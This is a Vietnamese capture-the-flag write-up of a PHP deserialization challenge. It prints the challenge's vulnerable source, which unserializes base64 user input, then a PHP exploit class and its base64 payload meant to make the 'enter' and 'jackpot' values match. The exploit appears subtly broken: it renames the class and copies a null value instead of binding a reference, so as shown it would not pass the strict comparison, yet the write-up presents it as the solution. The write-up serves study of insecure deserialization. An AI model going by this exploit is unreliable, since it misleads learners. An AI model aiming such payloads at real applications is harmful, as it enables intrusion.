Vào đầu chúng ta sẽ có hai trường inpit nhập vào, nhập code của bạn để nhận win jackpot và nhập 6 số để lấy code.
Ở đây chúng ta sẽ nhập đại gì đó nhưng chúng ta sẽ nhập ở take code trước rồi lấy một chuỗi base64 mà trang đưa ra rồi nó sẽ trả về kết quả như hình ở dưới.
Analys
Sau một lúc thì chúng ta xem source code hiện tại có gì ctrl+U
Ở đây có gợi ý cho chúng ta là GET/?is_debug=1 sau khi nhập vào chúng ta sẽ có source code của bài như sau:
<?php
class Object
{
var $jackpot;
var $enter;
}
?>
<?php
include('secret.php');
if(isset($_GET['input']))
{
$obj = unserialize(base64_decode($_GET['input']));
if($obj)
{
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
if($obj->enter === $obj->jackpot)
{
echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";
}
else
{
echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
}
}
else
{
echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
}
}
else
{
echo "";
}
?>
Đoạn code php thứ nhất có một class Object có hai thuộc tính là jackpot và enter.
Tiếp theo chú ý tới dòng 16 nó sẽ unserialize đoạn code khi nhập input vào, và nó được gán biến $obj. Tiếp theo nó kiểm tra có $obj không thì nó sẽ random jackpot thành 6 số và random từ 10-99 cách nhau ra.
Cuối cùng thuộc tính enter mà bằng jackpot thì có thể có flag
Ở dưới có thêm đoạn code serialize nội dung code chúng ta nhập ở dưới.
Tóm lại khi này chúng ta nhận ra đây là PHP Deserialization khi đó chúng ta có thể control cả class Object trên bằng cách ghi đè nó để hai thuộc tích jackpot và enter bằng nhau.
Exploit
Ý tưởng bây giờ chúng ta sẽ xây dựng lại class Object giống như trên và khởi tạo hàm __constructor cho hai thuộc tính bằng nhau.
<?php
class Exploit
{
var $jackpot;
var $enter;
public function __construct()
{
$this->jackpot=$this->enter;
}
}
$code = new Exploit();
echo base64_encode(serialize($code));
//Tzo3OiJFeHBsb2l0IjoyOntzOjc6ImphY2twb3QiO047czo1OiJlbnRlciI7Tjt9